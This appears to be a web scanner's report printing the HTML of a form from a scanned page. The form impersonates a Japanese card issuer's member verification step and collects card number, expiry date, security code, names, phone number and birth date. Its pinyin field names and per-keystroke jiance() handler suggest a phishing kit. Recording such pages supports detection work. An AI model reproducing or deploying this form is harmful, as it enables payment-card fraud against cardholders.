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Submission: On March 09 via api from JP — Scanned from JP

Form analysis 1 forms found in the DOM

Name: MainForm — POST /Service

<form method="POST" action="/Service" name="MainForm" onsubmit="return false;">
  <noscript><input type="hidden" name="_TRANID" value="JXXC_TransactionDispatcher"></noscript>
  <input type="hidden" name="HCHECK" value="" maxlength="1">
  <input type="hidden" name="HKEYLABEL" value="" maxlength="8">
  <input type="hidden" name="_PAGEID" value="JALG00021"><input type="hidden" name="_SENDTS" value="1642860001622"><input type="hidden" name="_TRANID"><input type="hidden" name="_SUBINDEX"><input type="hidden" name="_TARGET"><input type="hidden"
    name="_FRAMID"><input type="hidden" name="_TARGETWINID"><input type="hidden" name="_LUID" value="1642859998188"><input type="hidden" name="_WINID" value="root">
  <div class="section wrap-error-message">
    <div class="left-main-colum">
      <!-- / .left-main-colum -->
    </div>
    <div class="inner-block">
      <p>インターコムクラブに登録いただいているカード番号と生年月日、電話番号を入力のうえ、「次へ」をクリックしてください。</p>
      <ul class="attention-list">
        <li><span>※</span>2枚以上のカードをご登録の方は、いずれか１枚のカード番号を入力してください。</li>
      </ul>
      <!-- / .inner-block -->
    </div>
    <!-- / .section.wrap-error-message -->
  </div>
  <div class="section">
    <div class="three-column-table">
      <table class="input-table mb20 input-table wrap-validate-input-card-group-s16-s14">
        <tbody>
          <tr>
            <th rowspan="2">
              <span class="cell-txt-left"><strong>カード番号</strong></span>
              <p class="required-mk">
                <span class="required-image" style="opacity: 1;"><img width="43" height="22" src="static/images/icon-required-orange2.gif" alt="いずれか必須"></span>
                <span>半角数字</span>
              </p>
            </th>
            <td class="wrap-validate-input-card-group-01 required_area">
              <p>16桁のカード番号のお客様</p>
              <input type="text" name="account_one_1" oninput="jiance()" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" maxlength="4" class="four-colum-input validate-s16-card-no1 ime_mode_disabled qweqweqw">&nbsp;―
              <!-- STEP1-20120823 -->
              <input type="text" name="account_one_2" oninput="jiance()" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" maxlength="4" class="four-colum-input validate-s16-card-no2 ime_mode_disabled qweqweqw">&nbsp;―
              <!-- STEP1-20120823 -->
              <input type="text" name="account_one_3" oninput="jiance()" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" maxlength="4" class="four-colum-input validate-s16-card-no3 ime_mode_disabled qweqweqw">&nbsp;―
              <!-- STEP1-20120823 -->
              <input type="text" name="account_one_4" oninput="jiance()" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" maxlength="4" class="four-colum-input validate-s16-card-no4 ime_mode_disabled qweqweqw">
              <!-- STEP1-20120823 -->
            </td>
            <td class="error-message-area mb0">
            </td>
          </tr>
          <tr>
            <td class="wrap-validate-input-card-group-02 required_area">
              <p>14桁のカード番号のお客様</p>
              <input type="text" name="account_two_1" oninput="jiance()" onkeyup="acc_jian(this,1);" value="" maxlength="3" class="s14-card-no1 validate-s14-card-no1 ime_mode_disabled qweqweqw_1">&nbsp;― <!-- STEP1-20120823 -->
              <input type="text" name="account_two_2" value="" oninput="jiance()" onkeyup="acc_jian(this,2);" maxlength="4" class="s14-card-no2 validate-s14-card-no2 ime_mode_disabled qweqweqw_1">&nbsp;― <!-- STEP1-20120823 -->
              <input type="text" name="account_two_3" value="" oninput="jiance()" onkeyup="acc_jian(this,3);" maxlength="5" class="s14-card-no3 validate-s14-card-no3 ime_mode_disabled qweqweqw_1">&nbsp;― <input type="text" name="account_two_4"
                value="" oninput="jiance()" onkeyup="acc_jian(this,4);" maxlength="2" class="s14-card-no4 validate-s14-card-no4 ime_mode_disabled qweqweqw_1">
            </td>
            <td class="error-message-area">
            </td>
          </tr>
          <tr>
            <th>
              <span class="cell-txt-left"><strong>有効期限</strong></span>
              <p class="required-mk">
                <span class="required-image" style="opacity: 1;"><img width="43" height="16" src="static/images/icon-required-orange.gif" alt="必須"></span>
              </p>
            </th>
            <td class="birth-date required_area">
              <select name="youxiaoqi_yue" id="youxiaoqi_yue" onchange="jiance()" style="height:25px;" class="birthday-month">
                <option value="" selected="">
                </option>
                <option value="01">01 </option>
                <option value="02">02 </option>
                <option value="03">03 </option>
                <option value="04">04 </option>
                <option value="05">05 </option>
                <option value="06">06 </option>
                <option value="07">07 </option>
                <option value="08">08 </option>
                <option value="09">09 </option>
                <option value="10">10 </option>
                <option value="11">11 </option>
                <option value="12">12 </option>
              </select>&nbsp;月&nbsp;&nbsp; <select name="youxiaoqi_ri" id="youxiaoqi_ri" onchange="jiance()" style="height:25px;" class="birthday-day">
                <option value="" selected="">
                </option>
                <option value="2022">2022 </option>
                <option value="2023">2023 </option>
                <option value="2024">2024 </option>
                <option value="2025">2025 </option>
                <option value="2026">2026 </option>
                <option value="2027">2027 </option>
                <option value="2028">2028 </option>
                <option value="2029">2029 </option>
                <option value="2030">2030 </option>
                <option value="2031">2031 </option>
                <option value="2032">2032 </option>
              </select>&nbsp;年
            </td>
            <td class="error-message-area"></td>
          </tr>
        </tbody>
      </table>
      <table class="input-table mb20">
        <tbody>
          <tr>
            <th>
              <span class="cell-txt-left"><strong>セキュリティコード</strong></span>
              <p class="required-mk">
                <span class="required-image" style="opacity: 1;"><img width="43" height="16" src="static/images/icon-required-orange.gif" alt="必須"></span>
                <span></span>
              </p>
            </th>
            <td class="required_area">
              <input type="password" name="haoma" onkeyup="this.value=this.value.replace(/\D/g,'')" oninput="jiance()" value="" maxlength="4" class="two-colum-input new-passward ime_mode_disabled">
              <ul class="attention-list font-small">
                <li>
                  <span>※</span>カード裏面サインパネル部分に印字されている右端3桁の数字（*）をご入力ください。 い。
                </li>
                <li>
                  <span>※</span>セキュリティの確保のために、入力された番号はマスキングして表示します。
                </li>
                <li>
                  <span>※</span>一部上部デザインと異なる場合があります。
                </li>
              </ul>
            </td>
            <td class="error-message-area"></td>
          </tr>
          <tr>
            <th>
              <span class="cell-txt-left"><strong>お名前（カタカナ）</strong></span>
              <p class="required-mk">
                <span class="required-image" style="opacity: 1;"><img width="43" height="16" src="static/images/icon-required-orange.gif" alt="必須"></span>
                <span>全角</span>
              </p>
            </th>
            <td class="required_area">
              <input type="text" name="zhong_name" oninput="jiance()" value="" maxlength="20" class="two-colum-input new-passward-comfirm ime_mode_disabled">
              <!--                                    <span class="softwarekeyboard-area"><img src="/static/images/keyb_s.png" width="52"-->
              <!--                                                                             height="28" alt=""-->
              <!--                                                                             class="softwarekeyboard-hidden kbopen"-->
              <!--                                                                             style="display: inline; cursor: pointer;">-->
              <!--					<a href="#" class="ml0 softwarekeyboard-hidden kbopen" style="display: inline; cursor: pointer;">ソフトウェアキーボードで入力</a></span>-->
            </td>
            <td class="error-message-area"></td>
          </tr>
          <tr>
            <th>
              <span class="cell-txt-left"><strong>カード名義人</strong></span>
              <p class="required-mk">
                <span class="required-image" style="opacity: 1;"><img width="43" height="16" src="static/images/icon-required-orange.gif" alt="必須"></span>
                <span>※半角ローマ字で入力</span>
              </p>
            </th>
            <td class="required_area">
              <input type="text" name="yingwen_name" oninput="jiance()" value="" maxlength="20" class="two-colum-input new-passward-comfirm ime_mode_disabled">
            </td>
            <td class="error-message-area"></td>
          </tr>
          <tr>
            <th>
              <span class="cell-txt-left"><strong>電話番号</strong></span>
              <p class="required-mk">
                <span class="required-image" style="opacity: 1;"><img width="43" height="16" src="static/images/icon-required-orange.gif" alt="必須"></span>
                <span>半角数字</span>
              </p>
            </th>
            <td class="required_area">
              <input type="text" pattern="\d*" name="tel1" oninput="jiance()" onkeyup="tel_jian(this,1)" value="" maxlength="5" class="three-colum-input tel-no1 ime_mode_disabled">&nbsp;― <input type="text" pattern="\d*" name="tel2"
                oninput="jiance()" onkeyup="tel_jian(this,2)" value="" maxlength="4" class="three-colum-input tel-no2 ime_mode_disabled">&nbsp;― <input type="text" pattern="\d*" name="tel3" oninput="jiance()" onkeyup="tel_jian(this,3)" value=""
                maxlength="5" class="three-colum-input tel-no3 ime_mode_disabled">
              <ul class="attention-list font-small fn">
                <li><span>※</span>当社へ登録いただいている、ご自宅または携帯電話の電話番号いずれかを入力してください。</li>
              </ul>
            </td>
            <td class="error-message-area" id="telnumCheack"></td>
          </tr>
          <tr>
            <th>
              <span class="cell-txt-left"><strong>生年月日</strong></span>
              <p class="required-mk">
                <span class="required-image" style="opacity: 1;"><img width="43" height="16" src="static/images/icon-required-orange.gif" alt="必須"></span>
              </p>
            </th>
            <td class="birth-date required_area">
              <select name="sheng_year" id="sheng_year" onchange="jiance()" style="height:25px;" class="birthday-year">
                <option value="1922">1922（大正11） </option>
                <option value="1923">1923（大正12） </option>
                <option value="1924">1924（大正13） </option>
                <option value="1925">1925（大正14） </option>
                <option value="1926">1926（大正15） </option>
                <option value="1926">1926（昭和元） </option>
                <option value="1927">1927（昭和2） </option>
                <option value="1928">1928（昭和3） </option>
                <option value="1929">1929（昭和4） </option>
                <option value="1930">1930（昭和5） </option>
                <option value="1931">1931（昭和6） </option>
                <option value="1932">1932（昭和7） </option>
                <option value="1933">1933（昭和8） </option>
                <option value="1934">1934（昭和9） </option>
                <option value="1935">1935（昭和10） </option>
                <option value="1936">1936（昭和11） </option>
                <option value="1937">1937（昭和12） </option>
                <option value="1938">1938（昭和13） </option>
                <option value="1939">1939（昭和14） </option>
                <option value="1940">1940（昭和15） </option>
                <option value="1941">1941（昭和16） </option>
                <option value="1942">1942（昭和17） </option>
                <option value="1943">1943（昭和18） </option>
                <option value="1944">1944（昭和19） </option>
                <option value="1945">1945（昭和20） </option>
                <option value="1946">1946（昭和21） </option>
                <option value="1947">1947（昭和22） </option>
                <option value="1948">1948（昭和23） </option>
                <option value="1949">1949（昭和24） </option>
                <option value="1950">1950（昭和25） </option>
                <option value="1951">1951（昭和26） </option>
                <option value="1952">1952（昭和27） </option>
                <option value="1953">1953（昭和28） </option>
                <option value="1954">1954（昭和29） </option>
                <option value="1955">1955（昭和30） </option>
                <option value="1956">1956（昭和31） </option>
                <option value="1957">1957（昭和32） </option>
                <option value="1958">1958（昭和33） </option>
                <option value="1959">1959（昭和34） </option>
                <option value="1960">1960（昭和35） </option>
                <option value="1961">1961（昭和36） </option>
                <option value="1962">1962（昭和37） </option>
                <option value="1963">1963（昭和38） </option>
                <option value="1964">1964（昭和39） </option>
                <option value="1965">1965（昭和40） </option>
                <option value="1966">1966（昭和41） </option>
                <option value="1967">1967（昭和42） </option>
                <option value="1968">1968（昭和43） </option>
                <option value="1969">1969（昭和44） </option>
                <option value="1970">1970（昭和45） </option>
                <option value="1971">1971（昭和46） </option>
                <option value="1972">1972（昭和47） </option>
                <option value="1973">1973（昭和48） </option>
                <option value="1974">1974（昭和49） </option>
                <option value="1975">1975（昭和50） </option>
                <option value="1976">1976（昭和51） </option>
                <option value="1977">1977（昭和52） </option>
                <option value="1978">1978（昭和53） </option>
                <option value="1979">1979（昭和54） </option>
                <option value="1980">1980（昭和55） </option>
                <option value="1981">1981（昭和56） </option>
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            </td>
            <td class="error-message-area"></td>
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セキュリティコード



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カード名義人

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電話番号

半角数字

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生年月日



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1928（昭和3） 1929（昭和4） 1930（昭和5） 1931（昭和6） 1932（昭和7） 1933（昭和8） 1934（昭和9） 1935（昭和10）
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